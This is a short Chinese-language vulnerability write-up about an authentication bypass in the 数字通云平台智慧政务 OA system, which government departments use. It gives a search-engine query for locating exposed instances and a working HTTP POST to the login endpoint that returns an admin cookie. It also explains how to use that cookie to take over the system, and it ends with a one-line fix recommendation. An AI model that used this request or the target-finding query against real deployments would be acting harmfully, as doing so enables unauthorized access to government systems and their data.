数字通云平台智慧政务 login 存在登录绕过

- 0x01 漏洞描述：

• 数字通云平台智慧政务OA产品是基于云计算、大数据、人工智能等先进技术，为政府部门量身定制的智能化办公系统。该系统旨在提高政府部门的办公效率、协同能力和信息资源共享水平，推动电子政务向更高层次发展。

• 数字通云平台 智慧政务OA login接口存在未授权获取默认cookie，未经身份验证的远程攻击者可利用该漏洞伪造登录，从而接管整个系统。

0x02 搜索语句：

鹰图:web.body=“assets/8cca19ff/css/bootstrap-yii.css”

0x03 漏洞复现：

该漏洞是由于系统中存在默认cookie获取接口导致的权限绕过

POST /portal/default/login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
 
userID=admin&flag=rone

获取cookie

将cookie 写入到浏览器中

直接访问ip或者
http://your-ip:port/theme/concise

0x04 修复建议：

系统禁用默认获取cookie接口